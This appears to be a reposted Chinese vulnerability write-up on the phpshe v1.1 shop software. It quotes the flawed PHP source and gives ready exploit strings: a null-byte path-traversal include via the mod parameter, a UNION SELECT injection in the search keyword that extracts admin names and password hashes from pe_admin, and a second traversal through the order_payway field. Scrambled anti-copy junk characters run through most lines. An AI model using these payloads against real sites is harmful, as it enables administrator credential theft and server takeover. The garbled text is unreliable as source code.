phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
6 E  j7 c1 A; b  c+ S' e/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
; B& D& g0 U5 I1 R/ _2 t/*******************************************************/
3 S: |' F; `% \( n6 N' i7 Y0×00 整体大概参数传输

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+ \, q, W1 j* e0 b) t//common.php
- U! ~: ^% f0 ?  |) Bif (get_magic_quotes_gpc()) {
, I0 q1 L5 q. f8 j- b, L( n: a!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
9 N# b  B- [$ I* ^- C2 A+ A!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
1 [% G- [8 i9 y5 ~, d}
1 [. I/ `+ K! i0 G0 @) |5 q8 r! d! D0 _1 Kelse {
2 t+ N+ J7 w/ X: h!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
% j; V" Y; g8 C}
session_start();
3 w# p' Z* d7 R! T5 h!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 ?1 A6 `- @( m4 D!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞


' {3 t" H4 b9 E//首页文件
8 W/ k" ~1 n( H9 t' s, w/ c1 P<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
: @% R- ]4 @8 A4 O//common 文件 第15行开始
url路由配置
. W6 v0 u! ^, `- }% K2 \$module = $mod = $act = 'index';
: W, M2 {: F! D' ?' ]0 ]$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
5 x. `' V: g7 b3 [- Q* i//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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- k9 m8 E- ?$ A/ T7 @ 0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
& D6 M' h' h* L/ V$category_id = intval($id);
0 J0 m! Y3 X; a  V$info = $db->pe_select('category', array('category_id'=>$category_id));
! P7 Z$ p0 Z; Y4 \* L5 S2 M//搜索
) k$ e6 ~0 H. @$sqlwhere = " and `product_state` = 1";
  F( {' a/ y8 r5 k4 h1 D- Dpe_lead('hook/category.hook.php');
$ H+ e2 H/ [1 a0 E6 A+ Xif ($category_id) {
' @2 T: y7 W2 S2 awhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
" A3 h6 w1 D) F# B}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
# L! q  K" w9 w4 t6 _0 T; B- e$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
; G8 z9 K/ K1 {$ P+ p, P( o- G$ A4 E* ~$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
9 k2 x4 f! m1 h" Z) I//热卖排行
5 a+ {; `5 Z+ o% ~: ]' E2 a/ Q8 s$product_hotlist = product_hotlist();
9 ?- f$ q. L, ^3 l1 c/ _7 u7 X8 y//当前路径
& W# a- H  Q$ o3 g& T9 ?$nowpath = category_path($category_id);
" B6 E: o* f5 E* F/ c& h$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
+ w+ J: O8 g$ y6 F2 F//跟进selectall函数库
+ E) I: s1 ?+ k* ~! k  c8 Ppublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
3 K: |/ `( H, G. n9 e* x: [* `{
//处理条件语句
, ]5 g3 ^9 U0 _. O" P4 n7 z' Q5 K$sqlwhere = $this->_dowhere($where);
. f1 @- L! D4 J! c0 i; G& preturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
+ S$ L7 U' w! A4 b% F$ N; G2 ?

</code>

. d: K  D. X# L- v0×03 包含漏洞2
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; N6 `5 o- Z- \. |+ ]2 _<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

3 @4 }8 u+ H7 e# e7 x) A' z- b9 a+ Oforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

! v, @) V: w) R$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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* y' l; [) ^5 ?) O}

( x8 }3 h1 u/ H  Necho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

& i: K+ {( z) B9 eelse {

' T5 T9 a" [" b- h9 ?8 [& a; [& Spe_error('支付错误...');

3 G5 N# H5 A) E5 @) b, ?}

6 E5 J5 a" a. O; s! b}

$ H! F8 a- [+ Z% t$seo = pe_seo('选择支付方式');

7 y5 ^# j8 J5 J: w1 _include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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